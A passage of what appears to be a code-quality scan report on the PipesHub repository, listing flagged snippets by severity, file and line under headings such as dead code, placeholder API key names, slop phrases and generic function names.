LOW…/response-validation/mcp/golden/mcp_surface_3.0.1.json22 "text": "# PipesHub MCP — instructions for the LLM\n\nPipesHub is the user's workplace AI platform. It indexes theCODE
MEDIUMintegration-tests/helper/conversation_seeds.py7 """Query for a conversation a test needs only in order to have an id to act on.STRING
LOW…s/core/base/token_service/mcp_token_refresh_service.py260 # the new token's real expiry, and `_last_refresh_time` was just set toCOMMENT
MEDIUM…hon/app/connectors/sources/demo/fixture/acme-corp.yaml3# One fixture drives two things: the knowledge-base harness (content tuning)COMMENT
MEDIUM…hon/app/connectors/sources/demo/fixture/acme-corp.yaml1636# test use; same schema, scored by the same harness.COMMENT
LOWbackend/python/app/connectors/sources/box/connector.py1794 # to 404 and would just add noise.COMMENT
LOW…d/python/app/connectors/sources/notion/block_parser.py260 # Other mention types (user, page, database, etc.) - just use plain textCOMMENT
LOW⚡…kend/python/app/connectors/sources/notion/connector.py4474 # For relation pages without parent, just return ChildRecord with titleCOMMENT
MEDIUM…end/python/app/connectors/sources/dropbox/connector.py1015 # A robust implementation would need to look up the record by its path.COMMENT
MEDIUM…end/python/app/connectors/sources/dropbox/connector.py2997 # Dropbox uses path or file ID for temporary links. ID is more robust.COMMENT
LOW…/python/app/connectors/sources/salesforce/connector.py1271 # Fallback: just use text if presentCOMMENT
MEDIUM…app/connectors/sources/dropbox_individual/connector.py1091 # Dropbox uses path or file ID for temporary links. ID is more robust.COMMENT
LOWbackend/python/app/connectors/api/router.py4940 # No credentials provided but has oauth_app_id - just use existing configCOMMENT
MEDIUMbackend/python/app/config/constants/arangodb.py644 # harness (`sandbox_bridge.py`'s POST_TOOL_USE hook) — never assertedCOMMENT
MEDIUMbackend/python/app/utils/web_search_tool.py48 """Search using DuckDuckGo HTML endpoint with robust anti-bot evasion (sync I/O)."""STRING
MEDIUM…thon/app/sources/external/monday/monday_data_source.py3342 """Get comprehensive information about all available methods."""STRING
MEDIUMbackend/python/app/sources/external/s3/s3.py47 """Handle S3 API response with comprehensive error handling."""STRING
MEDIUM…ources/external/microsoft/users_groups/users_groups.py114 """Handle Users Groups API response with comprehensive error handling."""STRING
MEDIUM…pp/sources/external/microsoft/sharepoint/sharepoint.py189 """Handle SharePoint API response with comprehensive error handling."""STRING
MEDIUMbackend/python/app/sources/external/linear/linear.py1891 """Get comprehensive information about all available methods."""STRING
MEDIUMbackend/python/app/sources/external/minio/minio.py57 """Handle S3 API response with comprehensive error handling."""STRING
MEDIUMbackend/python/app/sources/client/evernote/evernote.py269 # Use parse_qs for robust parsing of URL-encoded strings.COMMENT
MEDIUM⚡backend/python/app/sources/client/azure/azure_blob.py160 return f"https://{account_name}.blob.core.windows.net" # TODO : need to make this work for Azure sovereign cCODE
MEDIUM⚡backend/python/app/sources/client/azure/azure_blob.py160 return f"https://{account_name}.blob.core.windows.net" # TODO : need to make this work for Azure sovereign cCODE
MEDIUM…thon/app/modules/parsers/pdf/opencv_layout_analyzer.py434# is robust to vote-spreading and a centre that lands on the trueCOMMENT
MEDIUM…thon/app/modules/parsers/pdf/opencv_layout_analyzer.py598 # excluding the test window. Median is robust to outliers (aCOMMENT
MEDIUM…thon/app/modules/parsers/pdf/opencv_layout_analyzer.py906 # the peak value -- is robust to that spreading and locates theCOMMENT
MEDIUM…thon/app/modules/parsers/pdf/opencv_layout_analyzer.py1075 # The confidence formula leans on signals that are robust toCOMMENT
MEDIUM…ckend/python/app/services/messaging/lanes/interface.py87 """Every topic a consumer must subscribe to in order to receive allSTRING
LOW…services/messaging/kafka/consumer/indexing_consumer.py2719 # gates above which already just return on shutdown.COMMENT
LOW…/connectors/sources/test_s3_base_connector_coverage.py747 # Should just return without errorCOMMENT
LOW⚡…s/unit/connectors/sources/test_salesforce_connector.py1971 # Should not raise, just returnCOMMENT
MEDIUM⚡…ectors/sources/test_google_drive_team_comprehensive.py344# _pass_date_filters (comprehensive)COMMENT
MEDIUM⚡…ectors/sources/test_google_drive_team_comprehensive.py361# _pass_extension_filter (comprehensive)COMMENT
MEDIUM⚡…ectors/sources/test_google_drive_team_comprehensive.py404# _process_drive_item (comprehensive)COMMENT
LOW…ests/unit/connectors/sources/test_s3_base_connector.py736 # Should just return without errorCOMMENT
MEDIUMbackend/python/tests/unit/utils/test_url_fetcher.py1"""Tests for app.utils.url_fetcher — robust multi-strategy URL fetcher."""STRING
LOW…/unit/modules/parsers/test_markdown_parser_coverage.py225 # Let me just create a unit test that directly exercises the functionCOMMENT
MEDIUM⚡…ervices/messaging/test_kafka_consumer_full_coverage.py70# __consume_loop -- comprehensive coverageCOMMENT
MEDIUM…ckend/python/tests/evals/answer_judge_calibration.yaml2# (app/connectors/sources/demo/harness/answer_judge.py).COMMENT
MEDIUMbackend/python/tests/evals/__init__.py1# Golden eval harness for agent prompt and confidence assertions.COMMENT
MEDIUM⚡backend/python/tests/evals/test_scheduled_evals.py199 # The harness marks every case skipped without a runner. A pass rateCOMMENT
MEDIUM⚡backend/python/tests/evals/test_golden_assertions.py332# (plus comprehensive reconcile() coverage)COMMENT
MEDIUMbackend/python/code-generator/box.py1712 """Generate a comprehensive coverage report of all Box APIs."""STRING
MEDIUMbackend/python/code-generator/box.py1802 """Generate comprehensive documentation for the Box API client."""STRING
MEDIUMbackend/python/code-generator/zendesk.py2473 """Generator for comprehensive Zendesk API datasource class."""STRING
MEDIUM⚡backend/python/code-generator/linear.py1080 # Process queries from comprehensive operationsCOMMENT
50 more matches not shown…
Dead Code117 hits · 158 pts
SeverityFileLineSnippetContext
MEDIUMbackend/python/app/utils/streaming.py317CODE
MEDIUM…/sources/test_google_drive_individual_full_coverage.py1752CODE
MEDIUM…/sources/test_google_drive_individual_full_coverage.py1792CODE
MEDIUM…/sources/test_google_drive_individual_full_coverage.py1815CODE
MEDIUM…s/unit/connectors/sources/test_jira_cloud_connector.py3988CODE
MEDIUM…s/unit/connectors/sources/test_gmail_team_connector.py3410CODE
MEDIUM…/connectors/sources/test_gmail_individual_connector.py236CODE
MEDIUM…nnectors/sources/test_sharepoint_connector_workflow.py1070CODE
MEDIUM…nnectors/sources/test_sharepoint_connector_workflow.py1684CODE
MEDIUM…nnectors/sources/test_sharepoint_connector_workflow.py1724CODE
MEDIUM…nnectors/sources/test_sharepoint_connector_workflow.py1747CODE
MEDIUM…nnectors/sources/test_sharepoint_connector_workflow.py2038CODE
MEDIUM…/unit/connectors/sources/test_linear_connector_gaps.py2034CODE
MEDIUM…on/tests/unit/connectors/sources/test_web_connector.py993CODE
MEDIUM…s/unit/connectors/sources/test_salesforce_connector.py2706CODE
MEDIUM…s/unit/connectors/sources/test_salesforce_connector.py2911CODE
MEDIUM…s/unit/connectors/sources/test_salesforce_connector.py3942CODE
MEDIUM…s/unit/connectors/sources/test_salesforce_connector.py4280CODE
MEDIUM…s/unit/connectors/sources/test_salesforce_connector.py4375CODE
MEDIUM…s/unit/connectors/sources/test_salesforce_connector.py4500CODE
MEDIUM…s/unit/connectors/sources/test_salesforce_connector.py4574CODE
MEDIUM…s/unit/connectors/sources/test_salesforce_connector.py4728CODE
MEDIUM…s/unit/connectors/sources/test_salesforce_connector.py5691CODE
MEDIUM…s/unit/connectors/sources/test_salesforce_connector.py2053CODE
MEDIUM…s/unit/connectors/sources/test_salesforce_connector.py8306CODE
MEDIUM…unit/connectors/sources/test_dropbox_connector_deep.py716CODE
MEDIUM…nectors/sources/test_zammad_connector_full_coverage.py2996CODE
MEDIUM…tests/unit/connectors/sources/test_zammad_connector.py1060CODE
MEDIUM…tests/unit/connectors/sources/test_zammad_connector.py4281CODE
MEDIUM…tests/unit/connectors/sources/test_linear_connector.py3064CODE
MEDIUM…tests/unit/connectors/sources/test_linear_connector.py3084CODE
MEDIUM…ts/unit/connectors/sources/test_jira_connector_deep.py701CODE
MEDIUM…ests/unit/connectors/sources/test_outlook_connector.py405CODE
MEDIUM…n/tests/unit/connectors/sources/test_jira_deep_sync.py314CODE
MEDIUM…n/tests/unit/connectors/sources/test_jira_deep_sync.py1895CODE
MEDIUM…n/tests/unit/connectors/sources/test_jira_deep_sync.py2286CODE
MEDIUM…nectors/sources/test_linear_connector_full_coverage.py606CODE
MEDIUM…nectors/sources/test_linear_connector_full_coverage.py626CODE
MEDIUM…ors/sources/test_azure_blob_connector_full_coverage.py385CODE
MEDIUM…rs/sources/test_jira_data_center_connector_coverage.py3022CODE
MEDIUM…connectors/sources/test_sharepoint_online_connector.py778CODE
MEDIUM…connectors/sources/test_sharepoint_online_connector.py802CODE
MEDIUM…connectors/sources/test_sharepoint_online_connector.py826CODE
MEDIUM…connectors/sources/test_sharepoint_online_connector.py850CODE
MEDIUM…ests/unit/connectors/sources/test_google_drive_team.py3752CODE
MEDIUM…ests/unit/connectors/sources/test_google_drive_team.py3775CODE
MEDIUM…ests/unit/connectors/sources/test_google_drive_team.py3798CODE
MEDIUM…ests/unit/connectors/sources/test_google_drive_team.py3820CODE
MEDIUM…ests/unit/connectors/sources/test_google_drive_team.py3845CODE
MEDIUM…ests/unit/connectors/sources/test_google_drive_team.py3868CODE
MEDIUM…ests/unit/connectors/sources/test_google_drive_team.py3887CODE
MEDIUM…nnectors/sources/test_sharepoint_connector_coverage.py877CODE
MEDIUM…nnectors/sources/test_sharepoint_connector_coverage.py1024CODE
MEDIUM…nnectors/sources/test_sharepoint_connector_coverage.py1257CODE
MEDIUM…s/unit/connectors/sources/test_azure_blob_connector.py1682CODE
MEDIUM…nit/connectors/sources/google/test_gmail_individual.py3526CODE
MEDIUM…/sources/google/test_gmail_individual_full_coverage.py1639CODE
MEDIUM…/unit/connectors/sources/test_gitlab/test_streaming.py38CODE
MEDIUM…/unit/connectors/sources/test_gitlab/test_streaming.py73CODE
MEDIUM…nit/connectors/sources/test_gitlab/test_attachments.py474CODE
57 more matches not shown…
Magic Placeholder Names5 hits · 20 pts
SeverityFileLineSnippetContext
HIGH…ckend/python/app/agents/actions/freshdesk/freshdesk.py103 CommonFields.api_token("Freshdesk API Key", "your-api-key"),CODE
HIGHbackend/python/app/utils/custom_embeddings.py87 voyage = VoyageEmbeddings(voyage_api_key="your-api-key", model="voyage-2")STRING
HIGHbackend/python/app/sources/external/lumos/example.py340 print(" export LUMOS_API_KEY='your_api_key'")CODE
HIGHbackend/python/app/sources/external/trello/trello.py34 ... api_key="your_api_key",STRING
HIGHbackend/python/code-generator/trello.py47 ... api_key="your_api_key",CODE
Synthetic Comment Markers2 hits · 19 pts
SeverityFileLineSnippetContext
HIGH…python/app/connectors/core/base/error/stream_errors.py106 # retrievable as requested, which is not a malformed-request 400.COMMENT
HIGH⚡…ctors/sources/microsoft/sharepoint_online/connector.py656 # Explicitly reject non-string types as requestedCOMMENT
AI Response Leakage2 hits · 15 pts
SeverityFileLineSnippetContext
HIGH…end/python/app/config/encryption/encryption_service.py29 # In this example, algorithm should be "aes-256-gcm"COMMENT
HIGH…kend/python/app/utils/encryption/encryption_service.py28 # In this example, algorithm should be "aes-256-gcm"COMMENT
Example Usage Blocks7 hits · 10 pts
SeverityFileLineSnippetContext
LOWfrontend/scripts/deploy-dev.sh7# Usage:COMMENT
LOW…thon/app/connectors/sources/demo/harness/acceptance.sh13# Usage:COMMENT
LOW…end/python/app/config/encryption/encryption_service.py84# Example usage:COMMENT
LOW…kend/python/app/utils/encryption/encryption_service.py84# Example usage:COMMENT
LOW⚡deployment/docker-compose/install.sh9# Usage:COMMENT
LOWdeployment/docker-compose/bootstrap-first-run.sh33# Usage:COMMENT
LOWdeployment/helm/pipeshub-ai/values-local.yaml7# Usage:COMMENT
Slop Phrases2 hits · 6 pts
SeverityFileLineSnippetContext
MEDIUM⚡backend/python/code-generator/zoom_specs/Team Chat.json1{"openapi":"3.0.0","info":{"title":"Team Chat","description":"The Team Chat APIs let developers programmatically interacCODE
MEDIUM.github/workflows/codeql.yml58 # If you are analyzing a compiled language, you can modify the 'build-mode' for that language to customize howCOMMENT
Overly Generic Function Names7 hits · 6 pts
SeverityFileLineSnippetContext
LOWintegration-tests/unit/test_run_folder.py47 def helper():CODE
LOW…nd/python/app/sources/external/snowflake/snowflake_.py1956 async def execute_task(CODE
LOW…hon/tests/unit/connectors/core/test_storage_cleanup.py121def helper(mock_graph_provider, mock_config_service):CODE
LOW…on/tests/unit/connectors/core/test_graph_data_store.py1356 async def process_data() -> str:CODE
LOW…s/gitlab_behaviour/test_gitlab_repository_behaviour.py44 assert helpers.external_revision_id == blob_sha(b"def helper():\n return 1\n")CODE
LOW…it/connectors/sources/gitlab_behaviour/gitlab_world.py25 "src/util/helpers.py": "def helper():\n return 1\n",CODE
LOW…d/python/tests/unit/modules/parsers/test_parse_pool.py177 source = b"class A:\n def run(self) -> int:\n return 1\n\n\ndef helper():\n return 2\n"CODE